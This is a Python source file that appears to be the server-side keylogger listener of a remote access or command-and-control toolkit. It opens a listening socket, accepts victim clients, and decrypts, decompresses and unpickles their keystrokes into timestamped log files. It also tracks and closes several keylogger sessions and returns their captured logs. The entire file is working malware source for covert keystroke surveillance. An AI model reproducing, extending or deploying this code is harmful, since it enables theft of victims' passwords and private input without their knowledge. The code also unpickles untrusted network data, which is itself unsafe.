1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
|
import socket
import pickle
import zlib
import time
from Utilities.db_queries import get_module_data
from Specific.encrypt import Encryption
from sys import exit
try:
info = get_module_data()
keylogger_settings = []
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((info[1], int(info[3].split(',')[3])))
s.listen()
except:
exit(0)
def keylogger_info():
info = '\n'
for index, setting in enumerate(keylogger_settings):
info += f' - {setting[0]}[{index}]'
if len(keylogger_settings) > 1 and index + 1 != len(keylogger_settings):
info += '\n'
if len(keylogger_settings) == 0:
info = 'False'
return info
def set_keylogger_settings(index):
global keylogger_settings
try:
if index == '*':
for keylogger_setting in keylogger_settings:
keylogger_setting[1].close()
return 'Keyloggers closed!'
else:
keylogger_settings[int(index)][1].close()
return 'Keylogger closed!'
except:
return 'Keylogger failed to close.'
def get_logs(index):
try:
with open(keylogger_settings[index][3], 'r') as f:
return (keylogger_settings[index][0], f.read())
except:
return None
def Keylogger(encoding, path, user):
try:
global keylogger_settings
fn = f'{path}/{time.strftime("%Y-%m-%d (%H-%M-%S)")}.txt'
first = True
headersize = 10
new_msg = True
msg_len = 0
full_msg = b''
msg = b'next'
e = Encryption()
client, addr = s.accept()
u = (user, client, addr, fn)
keylogger_settings.append(u)
with open(fn, 'a') as f:
f.write(f'Logging key strokes of {user}... [{time.strftime("%Y-%m-%d (%H-%M-%S)")}]\n\n')
f.flush()
real_msg = pickle.dumps(msg)
real_msg = zlib.compress(real_msg, 1)
real_msg = e.do_encrypt(real_msg)
final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg
client.send(final_msg)
while True:
client_msg = client.recv(1024)
if new_msg:
msg_len = int(client_msg[:headersize])
new_msg = False
full_msg += client_msg
if len(full_msg)-headersize == msg_len:
log = e.do_decrypt(full_msg[headersize:])
log = zlib.decompress(log)
log = pickle.loads(log)
result = ''
key = log.replace("'", '')
t = time.strftime("%Y-%m-%d (%H-%M-%S): ")
if first:
if 'Key.space' not in log or 'Key.enter' not in log:
result = t
first = False
if len(key) > 1:
result += f'[{key}]'
else:
result += key
if 'Key.space' in log or 'Key.enter' in log:
result = f'\n{t}{result}'
f.write(result)
f.flush()
real_msg = pickle.dumps(msg)
real_msg = zlib.compress(real_msg, 1)
real_msg = e.do_encrypt(real_msg)
final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg
client.send(final_msg)
new_msg = True
msg_len = 0
full_msg = b''
except:
keylogger_settings.remove(u)
exit(0)
|